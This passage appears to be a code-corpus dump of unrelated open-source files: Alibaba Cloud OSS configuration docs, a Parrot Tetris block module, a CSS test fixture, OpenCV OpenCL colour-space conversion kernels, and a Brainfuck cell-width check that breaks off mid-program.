spring.cloud.alicloud.oss.sts.secret-key=你被授权的SK
spring.cloud.alicloud.oss.sts.security-token=你被授权的ST
spring.cloud.alicloud.oss.config.connection-timeout=3000
spring.cloud.alicloud.oss.config.max-connections=1000
----
如果想了解更多的配置项,可以参考 https://help.aliyun.com/document_detail/32010.html?spm=a2c4g.11186623.6.703.50b25413nGsYHc[OSSClient配置项] 的末尾表格。
NOTE: 通常情况下,都需要将 https://help.aliyun.com/document_detail/32010.html?spm=a2c4g.11186623.6.703.50b25413nGsYHc[OSSClient配置项] 末尾表格中的参数名更换成"-"连接,且所有字母小写。例如 ConnectionTimeout,对应 connection-timeout。 | AsciiDoc | 5 | chenjj950307/spring-cloud-aibaba | spring-cloud-alibaba-docs/src/main/asciidoc-zh/oss.adoc | [
"Apache-2.0"
] |
=head1 DESCRIPTION
blocks.pir - tetris block classes
=cut
.namespace ["Tetris::Blocks"]
.sub __onload :load
$P0 = get_class "Tetris::Block::1"
unless null $P0 goto END
load_bytecode "examples/sdl/tetris/block.pir"
get_class $P1, "Tetris::Block"
$P2 = new 'String'
$P2 = "__init"
subclass $P0, $P1, "Tetris::Block::0"
setprop $P0, "BUILD", $P2
subclass $P0, $P1, "Tetris::Block::1"
setprop $P0, "BUILD", $P2
subclass $P0, $P1, "Tetris::Block::2"
setprop $P0, "BUILD", $P2
subclass $P0, $P1, "Tetris::Block::3"
setprop $P0, "BUILD", $P2
subclass $P0, $P1, "Tetris::Block::4"
setprop $P0, "BUILD", $P2
subclass $P0, $P1, "Tetris::Block::5"
setprop $P0, "BUILD", $P2
subclass $P0, $P1, "Tetris::Block::6"
setprop $P0, "BUILD", $P2
.local pmc blocks
.local pmc block
blocks = new 'ResizablePMCArray'
$P0 = get_class "Tetris::Block::0"
push blocks, $P0
$P0 = get_class "Tetris::Block::1"
push blocks, $P0
$P0 = get_class "Tetris::Block::2"
push blocks, $P0
$P0 = get_class "Tetris::Block::3"
push blocks, $P0
$P0 = get_class "Tetris::Block::4"
push blocks, $P0
$P0 = get_class "Tetris::Block::5"
push blocks, $P0
$P0 = get_class "Tetris::Block::6"
push blocks, $P0
set_hll_global [ "Tetris::Block" ], "blocks", blocks
END:
.end
.namespace ["Tetris::Block::0"]
# ##
# ##
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 1
push block, 1
push block, 1
push block, 1
assign self, block
.end
.sub id :method
.return (0)
.end
.namespace ["Tetris::Block::1"]
# ###
# #..
# ...
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 1
push block, 1
push block, 1
push block, 1
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
assign self, block
.end
.sub id :method
.return (1)
.end
.namespace ["Tetris::Block::2"]
# ###
# ..#
# ...
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 1
push block, 1
push block, 1
push block, 0
push block, 0
push block, 1
push block, 0
push block, 0
push block, 0
assign self, block
.end
.sub id :method
.return (2)
.end
.namespace ["Tetris::Block::3"]
# ##.
# .##
# ...
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 1
push block, 1
push block, 0
push block, 0
push block, 1
push block, 1
push block, 0
push block, 0
push block, 0
assign self, block
.end
.sub id :method
.return (3)
.end
.namespace ["Tetris::Block::4"]
# .##
# ##.
# ...
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 0
push block, 1
push block, 1
push block, 1
push block, 1
push block, 0
push block, 0
push block, 0
push block, 0
assign self, block
.end
.sub id :method
.return (4)
.end
.namespace ["Tetris::Block::5"]
# ###
# .#.
# ...
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 1
push block, 1
push block, 1
push block, 0
push block, 1
push block, 0
push block, 0
push block, 0
push block, 0
assign self, block
.end
.sub id :method
.return (5)
.end
.namespace ["Tetris::Block::6"]
# ####
# ....
# ....
# ....
.sub __init :method
.local pmc block
block = new 'ResizablePMCArray'
push block, 1
push block, 1
push block, 1
push block, 1
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
push block, 0
assign self, block
.end
.sub id :method
.return (6)
.end
=head1 AUTHOR
Jens Rieks E<lt>parrot at jensbeimsurfen dot deE<gt> is the author
and maintainer.
Please send patches and suggestions to the Perl 6 Internals mailing list.
=head1 COPYRIGHT
Copyright (C) 2004-2008, Parrot Foundation.
=cut
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 4 | winnit-myself/Wifie | examples/sdl/tetris/blocks.pir | [
"Artistic-2.0"
] |
div::before::after::selection::first-line::first-letter {color:red} | CSS | 2 | vjpr/swc | css/parser/tests/fixture/esbuild/misc/-GZJfOA9TK6La2KGGNgCkg/input.css | [
"Apache-2.0",
"MIT"
] |
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2010-2012, Institute Of Software Chinese Academy Of Science, all rights reserved.
// Copyright (C) 2010-2012, Advanced Micro Devices, Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// @Authors
// Jia Haipeng, jiahaipeng95@gmail.com
// Peng Xiao, pengxiao@multicorewareinc.com
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors as is and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#if depth == 0
#define DATA_TYPE uchar
#define MAX_NUM 255
#define HALF_MAX_NUM 128
#define COEFF_TYPE int
#define SAT_CAST(num) convert_uchar_sat(num)
#define DEPTH_0
#elif depth == 2
#define DATA_TYPE ushort
#define MAX_NUM 65535
#define HALF_MAX_NUM 32768
#define COEFF_TYPE int
#define SAT_CAST(num) convert_ushort_sat(num)
#define DEPTH_2
#elif depth == 5
#define DATA_TYPE float
#define MAX_NUM 1.0f
#define HALF_MAX_NUM 0.5f
#define COEFF_TYPE float
#define SAT_CAST(num) (num)
#define DEPTH_5
#else
#error "invalid depth: should be 0 (CV_8U), 2 (CV_16U) or 5 (CV_32F)"
#endif
#define CV_DESCALE(x,n) (((x) + (1 << ((n)-1))) >> (n))
enum
{
xyz_shift = 12,
};
#define scnbytes ((int)sizeof(DATA_TYPE)*scn)
#define dcnbytes ((int)sizeof(DATA_TYPE)*dcn)
#define __CAT(x, y) x##y
#define CAT(x, y) __CAT(x, y)
#define DATA_TYPE_4 CAT(DATA_TYPE, 4)
#define DATA_TYPE_3 CAT(DATA_TYPE, 3)
///////////////////////////////////// RGB <-> XYZ //////////////////////////////////////
__kernel void RGB2XYZ(__global const uchar * srcptr, int src_step, int src_offset,
__global uchar * dstptr, int dst_step, int dst_offset,
int rows, int cols, __constant COEFF_TYPE * coeffs)
{
int dx = get_global_id(0);
int dy = get_global_id(1) * PIX_PER_WI_Y;
if (dx < cols)
{
int src_index = mad24(dy, src_step, mad24(dx, scnbytes, src_offset));
int dst_index = mad24(dy, dst_step, mad24(dx, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
{
if (dy < rows)
{
__global const DATA_TYPE * src = (__global const DATA_TYPE *)(srcptr + src_index);
__global DATA_TYPE * dst = (__global DATA_TYPE *)(dstptr + dst_index);
DATA_TYPE_4 src_pix = vload4(0, src);
DATA_TYPE r = src_pix.x, g = src_pix.y, b = src_pix.z;
#ifdef DEPTH_5
float x = fma(r, coeffs[0], fma(g, coeffs[1], b * coeffs[2]));
float y = fma(r, coeffs[3], fma(g, coeffs[4], b * coeffs[5]));
float z = fma(r, coeffs[6], fma(g, coeffs[7], b * coeffs[8]));
#else
int x = CV_DESCALE(mad24(r, coeffs[0], mad24(g, coeffs[1], b * coeffs[2])), xyz_shift);
int y = CV_DESCALE(mad24(r, coeffs[3], mad24(g, coeffs[4], b * coeffs[5])), xyz_shift);
int z = CV_DESCALE(mad24(r, coeffs[6], mad24(g, coeffs[7], b * coeffs[8])), xyz_shift);
#endif
dst[0] = SAT_CAST(x);
dst[1] = SAT_CAST(y);
dst[2] = SAT_CAST(z);
++dy;
dst_index += dst_step;
src_index += src_step;
}
}
}
}
__kernel void XYZ2RGB(__global const uchar * srcptr, int src_step, int src_offset,
__global uchar * dstptr, int dst_step, int dst_offset,
int rows, int cols, __constant COEFF_TYPE * coeffs)
{
int dx = get_global_id(0);
int dy = get_global_id(1) * PIX_PER_WI_Y;
if (dx < cols)
{
int src_index = mad24(dy, src_step, mad24(dx, scnbytes, src_offset));
int dst_index = mad24(dy, dst_step, mad24(dx, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
{
if (dy < rows)
{
__global const DATA_TYPE * src = (__global const DATA_TYPE *)(srcptr + src_index);
__global DATA_TYPE * dst = (__global DATA_TYPE *)(dstptr + dst_index);
DATA_TYPE_4 src_pix = vload4(0, src);
DATA_TYPE x = src_pix.x, y = src_pix.y, z = src_pix.z;
#ifdef DEPTH_5
float b = fma(x, coeffs[0], fma(y, coeffs[1], z * coeffs[2]));
float g = fma(x, coeffs[3], fma(y, coeffs[4], z * coeffs[5]));
float r = fma(x, coeffs[6], fma(y, coeffs[7], z * coeffs[8]));
#else
int b = CV_DESCALE(mad24(x, coeffs[0], mad24(y, coeffs[1], z * coeffs[2])), xyz_shift);
int g = CV_DESCALE(mad24(x, coeffs[3], mad24(y, coeffs[4], z * coeffs[5])), xyz_shift);
int r = CV_DESCALE(mad24(x, coeffs[6], mad24(y, coeffs[7], z * coeffs[8])), xyz_shift);
#endif
DATA_TYPE dst0 = SAT_CAST(b);
DATA_TYPE dst1 = SAT_CAST(g);
DATA_TYPE dst2 = SAT_CAST(r);
#if dcn == 3 || defined DEPTH_5
dst[0] = dst0;
dst[1] = dst1;
dst[2] = dst2;
#if dcn == 4
dst[3] = MAX_NUM;
#endif
#else
*(__global DATA_TYPE_4 *)dst = (DATA_TYPE_4)(dst0, dst1, dst2, MAX_NUM);
#endif
++dy;
dst_index += dst_step;
src_index += src_step;
}
}
}
}
/////////////////////////////////// [l|s]RGB <-> Lab ///////////////////////////
#define lab_shift xyz_shift
#define gamma_shift 3
#define lab_shift2 (lab_shift + gamma_shift)
#define GAMMA_TAB_SIZE 1024
#define GammaTabScale (float)GAMMA_TAB_SIZE
inline float splineInterpolate(float x, __global const float * tab, int n)
{
int ix = clamp(convert_int_sat_rtn(x), 0, n-1);
x -= ix;
tab += ix << 2;
return fma(fma(fma(tab[3], x, tab[2]), x, tab[1]), x, tab[0]);
}
#ifdef DEPTH_0
__kernel void BGR2Lab(__global const uchar * src, int src_step, int src_offset,
__global uchar * dst, int dst_step, int dst_offset, int rows, int cols,
__global const ushort * gammaTab, __global ushort * LabCbrtTab_b,
__constant int * coeffs, int Lscale, int Lshift)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
int src_index = mad24(y, src_step, mad24(x, scnbytes, src_offset));
int dst_index = mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
{
if (y < rows)
{
__global const uchar* src_ptr = src + src_index;
__global uchar* dst_ptr = dst + dst_index;
uchar4 src_pix = vload4(0, src_ptr);
int C0 = coeffs[0], C1 = coeffs[1], C2 = coeffs[2],
C3 = coeffs[3], C4 = coeffs[4], C5 = coeffs[5],
C6 = coeffs[6], C7 = coeffs[7], C8 = coeffs[8];
int R = gammaTab[src_pix.x], G = gammaTab[src_pix.y], B = gammaTab[src_pix.z];
int fX = LabCbrtTab_b[CV_DESCALE(mad24(R, C0, mad24(G, C1, B*C2)), lab_shift)];
int fY = LabCbrtTab_b[CV_DESCALE(mad24(R, C3, mad24(G, C4, B*C5)), lab_shift)];
int fZ = LabCbrtTab_b[CV_DESCALE(mad24(R, C6, mad24(G, C7, B*C8)), lab_shift)];
int L = CV_DESCALE( Lscale*fY + Lshift, lab_shift2 );
int a = CV_DESCALE( mad24(500, fX - fY, 128*(1 << lab_shift2)), lab_shift2 );
int b = CV_DESCALE( mad24(200, fY - fZ, 128*(1 << lab_shift2)), lab_shift2 );
dst_ptr[0] = SAT_CAST(L);
dst_ptr[1] = SAT_CAST(a);
dst_ptr[2] = SAT_CAST(b);
++y;
dst_index += dst_step;
src_index += src_step;
}
}
}
}
#elif defined DEPTH_5
__kernel void BGR2Lab(__global const uchar * srcptr, int src_step, int src_offset,
__global uchar * dstptr, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__constant float * coeffs, float _1_3, float _a)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
int src_index = mad24(y, src_step, mad24(x, scnbytes, src_offset));
int dst_index = mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
{
if (y < rows)
{
__global const float * src = (__global const float *)(srcptr + src_index);
__global float * dst = (__global float *)(dstptr + dst_index);
float4 src_pix = vload4(0, src);
float C0 = coeffs[0], C1 = coeffs[1], C2 = coeffs[2],
C3 = coeffs[3], C4 = coeffs[4], C5 = coeffs[5],
C6 = coeffs[6], C7 = coeffs[7], C8 = coeffs[8];
float R = clamp(src_pix.x, 0.0f, 1.0f);
float G = clamp(src_pix.y, 0.0f, 1.0f);
float B = clamp(src_pix.z, 0.0f, 1.0f);
#ifdef SRGB
R = splineInterpolate(R * GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
G = splineInterpolate(G * GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
B = splineInterpolate(B * GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
#endif
// 7.787f = (29/3)^3/(29*4), 0.008856f = (6/29)^3, 903.3 = (29/3)^3
float X = fma(R, C0, fma(G, C1, B*C2));
float Y = fma(R, C3, fma(G, C4, B*C5));
float Z = fma(R, C6, fma(G, C7, B*C8));
float FX = X > 0.008856f ? rootn(X, 3) : fma(7.787f, X, _a);
float FY = Y > 0.008856f ? rootn(Y, 3) : fma(7.787f, Y, _a);
float FZ = Z > 0.008856f ? rootn(Z, 3) : fma(7.787f, Z, _a);
float L = Y > 0.008856f ? fma(116.f, FY, -16.f) : (903.3f * Y);
float a = 500.f * (FX - FY);
float b = 200.f * (FY - FZ);
dst[0] = L;
dst[1] = a;
dst[2] = b;
++y;
dst_index += dst_step;
src_index += src_step;
}
}
}
}
#endif
inline void Lab2BGR_f(const float * srcbuf, float * dstbuf,
#ifdef SRGB
__global const float * gammaTab,
#endif
__constant float * coeffs, float lThresh, float fThresh)
{
float li = srcbuf[0], ai = srcbuf[1], bi = srcbuf[2];
float C0 = coeffs[0], C1 = coeffs[1], C2 = coeffs[2],
C3 = coeffs[3], C4 = coeffs[4], C5 = coeffs[5],
C6 = coeffs[6], C7 = coeffs[7], C8 = coeffs[8];
float y, fy;
// 903.3 = (29/3)^3, 7.787 = (29/3)^3/(29*4)
if (li <= lThresh)
{
y = li / 903.3f;
fy = fma(7.787f, y, 16.0f / 116.0f);
}
else
{
fy = (li + 16.0f) / 116.0f;
y = fy * fy * fy;
}
float fxz[] = { ai / 500.0f + fy, fy - bi / 200.0f };
#pragma unroll
for (int j = 0; j < 2; j++)
if (fxz[j] <= fThresh)
fxz[j] = (fxz[j] - 16.0f / 116.0f) / 7.787f;
else
fxz[j] = fxz[j] * fxz[j] * fxz[j];
float x = fxz[0], z = fxz[1];
float ro = clamp(fma(C0, x, fma(C1, y, C2 * z)), 0.0f, 1.0f);
float go = clamp(fma(C3, x, fma(C4, y, C5 * z)), 0.0f, 1.0f);
float bo = clamp(fma(C6, x, fma(C7, y, C8 * z)), 0.0f, 1.0f);
#ifdef SRGB
ro = splineInterpolate(ro * GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
go = splineInterpolate(go * GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
bo = splineInterpolate(bo * GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
#endif
dstbuf[0] = ro, dstbuf[1] = go, dstbuf[2] = bo;
}
#ifdef DEPTH_0
__kernel void Lab2BGR(__global const uchar * src, int src_step, int src_offset,
__global uchar * dst, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__constant float * coeffs, float lThresh, float fThresh)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
int src_index = mad24(y, src_step, mad24(x, scnbytes, src_offset));
int dst_index = mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
{
if (y < rows)
{
__global const uchar* src_ptr = src + src_index;
__global uchar * dst_ptr = dst + dst_index;
uchar4 src_pix = vload4(0, src_ptr);
float srcbuf[3], dstbuf[3];
srcbuf[0] = src_pix.x*(100.f/255.f);
srcbuf[1] = convert_float(src_pix.y - 128);
srcbuf[2] = convert_float(src_pix.z - 128);
Lab2BGR_f(&srcbuf[0], &dstbuf[0],
#ifdef SRGB
gammaTab,
#endif
coeffs, lThresh, fThresh);
#if dcn == 3
dst_ptr[0] = SAT_CAST(dstbuf[0] * 255.0f);
dst_ptr[1] = SAT_CAST(dstbuf[1] * 255.0f);
dst_ptr[2] = SAT_CAST(dstbuf[2] * 255.0f);
#else
*(__global uchar4 *)dst_ptr = (uchar4)(SAT_CAST(dstbuf[0] * 255.0f),
SAT_CAST(dstbuf[1] * 255.0f), SAT_CAST(dstbuf[2] * 255.0f), MAX_NUM);
#endif
++y;
dst_index += dst_step;
src_index += src_step;
}
}
}
}
#elif defined DEPTH_5
__kernel void Lab2BGR(__global const uchar * srcptr, int src_step, int src_offset,
__global uchar * dstptr, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__constant float * coeffs, float lThresh, float fThresh)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
int src_index = mad24(y, src_step, mad24(x, scnbytes, src_offset));
int dst_index = mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
{
if (y < rows)
{
__global const float * src = (__global const float *)(srcptr + src_index);
__global float * dst = (__global float *)(dstptr + dst_index);
float4 src_pix = vload4(0, src);
float srcbuf[3], dstbuf[3];
srcbuf[0] = src_pix.x, srcbuf[1] = src_pix.y, srcbuf[2] = src_pix.z;
Lab2BGR_f(&srcbuf[0], &dstbuf[0],
#ifdef SRGB
gammaTab,
#endif
coeffs, lThresh, fThresh);
dst[0] = dstbuf[0], dst[1] = dstbuf[1], dst[2] = dstbuf[2];
#if dcn == 4
dst[3] = MAX_NUM;
#endif
++y;
dst_index += dst_step;
src_index += src_step;
}
}
}
}
#endif
/////////////////////////////////// [l|s]RGB <-> Luv ///////////////////////////
#define LAB_CBRT_TAB_SIZE 1024
#define LAB_CBRT_TAB_SIZE_B (256*3/2*(1<<gamma_shift))
__constant float LabCbrtTabScale = LAB_CBRT_TAB_SIZE/1.5f;
#ifdef DEPTH_5
__kernel void BGR2Luv(__global const uchar * srcptr, int src_step, int src_offset,
__global uchar * dstptr, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__global const float * LabCbrtTab, __constant float * coeffs, float _un, float _vn)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
int src_index = mad24(y, src_step, mad24(x, scnbytes, src_offset));
int dst_index = mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
if (y < rows)
{
__global const float * src = (__global const float *)(srcptr + src_index);
__global float * dst = (__global float *)(dstptr + dst_index);
float R = src[0], G = src[1], B = src[2];
R = clamp(R, 0.f, 1.f);
G = clamp(G, 0.f, 1.f);
B = clamp(B, 0.f, 1.f);
#ifdef SRGB
R = splineInterpolate(R*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
G = splineInterpolate(G*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
B = splineInterpolate(B*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
#endif
float X = fma(R, coeffs[0], fma(G, coeffs[1], B*coeffs[2]));
float Y = fma(R, coeffs[3], fma(G, coeffs[4], B*coeffs[5]));
float Z = fma(R, coeffs[6], fma(G, coeffs[7], B*coeffs[8]));
float L = splineInterpolate(Y*LabCbrtTabScale, LabCbrtTab, LAB_CBRT_TAB_SIZE);
L = fma(116.f, L, -16.f);
float d = 52.0f / fmax(fma(15.0f, Y, fma(3.0f, Z, X)), FLT_EPSILON);
float u = L*fma(X, d, -_un);
float v = L*fma(2.25f, Y*d, -_vn);
dst[0] = L;
dst[1] = u;
dst[2] = v;
++y;
dst_index += dst_step;
src_index += src_step;
}
}
}
#elif defined DEPTH_0
__kernel void BGR2Luv(__global const uchar * src, int src_step, int src_offset,
__global uchar * dst, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__global const float * LabCbrtTab, __constant float * coeffs, float _un, float _vn)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
src += mad24(y, src_step, mad24(x, scnbytes, src_offset));
dst += mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
if (y < rows)
{
float scale = 1.0f / 255.0f;
float R = src[0]*scale, G = src[1]*scale, B = src[2]*scale;
#ifdef SRGB
R = splineInterpolate(R*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
G = splineInterpolate(G*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
B = splineInterpolate(B*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
#endif
float X = fma(R, coeffs[0], fma(G, coeffs[1], B*coeffs[2]));
float Y = fma(R, coeffs[3], fma(G, coeffs[4], B*coeffs[5]));
float Z = fma(R, coeffs[6], fma(G, coeffs[7], B*coeffs[8]));
float L = splineInterpolate(Y*LabCbrtTabScale, LabCbrtTab, LAB_CBRT_TAB_SIZE);
L = 116.f*L - 16.f;
float d = (4*13) / fmax(fma(15.0f, Y, fma(3.0f, Z, X)), FLT_EPSILON);
float u = L*(X*d - _un);
float v = L*fma(2.25f, Y*d, -_vn);
dst[0] = SAT_CAST(L * 2.55f);
//0.72033 = 255/(220+134), 96.525 = 134*255/(220+134)
dst[1] = SAT_CAST(fma(u, 0.72033898305084743f, 96.525423728813564f));
//0.9732 = 255/(140+122), 136.259 = 140*255/(140+122)
dst[2] = SAT_CAST(fma(v, 0.9732824427480916f, 136.259541984732824f));
++y;
dst += dst_step;
src += src_step;
}
}
}
#endif
#ifdef DEPTH_5
__kernel void Luv2BGR(__global const uchar * srcptr, int src_step, int src_offset,
__global uchar * dstptr, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__constant float * coeffs, float _un, float _vn)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
int src_index = mad24(y, src_step, mad24(x, scnbytes, src_offset));
int dst_index = mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
if (y < rows)
{
__global const float * src = (__global const float *)(srcptr + src_index);
__global float * dst = (__global float *)(dstptr + dst_index);
float L = src[0], u = src[1], v = src[2], X, Y, Z;
if(L >= 8)
{
Y = fma(L, 1.f/116.f, 16.f/116.f);
Y = Y*Y*Y;
}
else
{
Y = L * (1.0f/903.3f); // L*(3./29.)^3
}
float up = 3.f*fma(L, _un, u);
float vp = 0.25f/fma(L, _vn, v);
vp = clamp(vp, -0.25f, 0.25f);
X = 3.f*Y*up*vp;
Z = Y*fma(fma(12.f*13.f, L, -up), vp, -5.f);
float R = fma(X, coeffs[0], fma(Y, coeffs[1], Z * coeffs[2]));
float G = fma(X, coeffs[3], fma(Y, coeffs[4], Z * coeffs[5]));
float B = fma(X, coeffs[6], fma(Y, coeffs[7], Z * coeffs[8]));
R = clamp(R, 0.f, 1.f);
G = clamp(G, 0.f, 1.f);
B = clamp(B, 0.f, 1.f);
#ifdef SRGB
R = splineInterpolate(R*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
G = splineInterpolate(G*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
B = splineInterpolate(B*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
#endif
dst[0] = R;
dst[1] = G;
dst[2] = B;
#if dcn == 4
dst[3] = MAX_NUM;
#endif
++y;
dst_index += dst_step;
src_index += src_step;
}
}
}
#elif defined DEPTH_0
__kernel void Luv2BGR(__global const uchar * src, int src_step, int src_offset,
__global uchar * dst, int dst_step, int dst_offset, int rows, int cols,
#ifdef SRGB
__global const float * gammaTab,
#endif
__constant float * coeffs, float _un, float _vn)
{
int x = get_global_id(0);
int y = get_global_id(1) * PIX_PER_WI_Y;
if (x < cols)
{
src += mad24(y, src_step, mad24(x, scnbytes, src_offset));
dst += mad24(y, dst_step, mad24(x, dcnbytes, dst_offset));
#pragma unroll
for (int cy = 0; cy < PIX_PER_WI_Y; ++cy)
if (y < rows)
{
float d, X, Y, Z;
float L = src[0]*(100.f/255.f);
// 1.388235294117647 = (220+134)/255
float u = fma(convert_float(src[1]), 1.388235294117647f, -134.f);
// 1.027450980392157 = (140+122)/255
float v = fma(convert_float(src[2]), 1.027450980392157f, - 140.f);
if(L >= 8)
{
Y = fma(L, 1.f/116.f, 16.f/116.f);
Y = Y*Y*Y;
}
else
{
Y = L * (1.0f/903.3f); // L*(3./29.)^3
}
float up = 3.f*fma(L, _un, u);
float vp = 0.25f/fma(L, _vn, v);
vp = clamp(vp, -0.25f, 0.25f);
X = 3.f*Y*up*vp;
Z = Y*fma(fma(12.f*13.f, L, -up), vp, -5.f);
//limit X, Y, Z to [0, 2] to fit white point
X = clamp(X, 0.f, 2.f); Z = clamp(Z, 0.f, 2.f);
float R = fma(X, coeffs[0], fma(Y, coeffs[1], Z * coeffs[2]));
float G = fma(X, coeffs[3], fma(Y, coeffs[4], Z * coeffs[5]));
float B = fma(X, coeffs[6], fma(Y, coeffs[7], Z * coeffs[8]));
R = clamp(R, 0.f, 1.f);
G = clamp(G, 0.f, 1.f);
B = clamp(B, 0.f, 1.f);
#ifdef SRGB
R = splineInterpolate(R*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
G = splineInterpolate(G*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
B = splineInterpolate(B*GammaTabScale, gammaTab, GAMMA_TAB_SIZE);
#endif
uchar dst0 = SAT_CAST(R * 255.0f);
uchar dst1 = SAT_CAST(G * 255.0f);
uchar dst2 = SAT_CAST(B * 255.0f);
#if dcn == 4
*(__global uchar4 *)dst = (uchar4)(dst0, dst1, dst2, MAX_NUM);
#else
dst[0] = dst0;
dst[1] = dst1;
dst[2] = dst2;
#endif
++y;
dst += dst_step;
src += src_step;
}
}
}
#endif
| OpenCL | 5 | thisisgopalmandal/opencv | modules/imgproc/src/opencl/color_lab.cl | [
"BSD-3-Clause"
] |
[ This contains a VERY simple check for the three common bit sizes.
It's the original version for the Bitwidth.b test program.
In addition a check has been added on the start to check
for really large, or non-binary, cells.
]
[-]>[-]
++++ [<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]
<[>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<-]
>[<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]
<[>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<-]
>[<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+<-]
+< [>>[-<<
----------------------------------------------------------------
>>]<<
[-]>[-]+++++++++++++[<++++++>-]<.>++++++++[<++++>-]<+.-.>++++++++[<-----
--->-]<-.>+++++++++[<++++++>-]<-.+++++++.+++++.-------------.>++++[<++++
>-]<+.+++++++.[-]++++++++[>++++<-]>.<++++++++++[>++++++++<-]>-.+++.[-]++
++++++[<++++>-]<.>+++++++++[<++++++++>-]<.+++++++++++++.--------------.-
-.[-]++++++++[>++++<-]>.<+++++++++++[>++++++<-]>+.++.+++++++..+++++++.<+
+++++++++[>-------<-]>+.[-]++++++++++.[-]<
]>[[-]>[-]<
// Calculate the value 256 and test if it's zero
++++++++[>++++++++<-]>[<++++>-]
+<[>-<
// Not zero so multiply by 256 again to get 65536
[>++++<-]>[<++++++++>-]<[>++++++++<-]
+>[>
// Print "32"
++++++++++[>+++++<-]>+.-.[-]<
<[-]<->] <[>>
// Print "16"
+++++++[>+++++++<-]>.+++++.[-]<
<<[-]]] >[>
// Print "8"
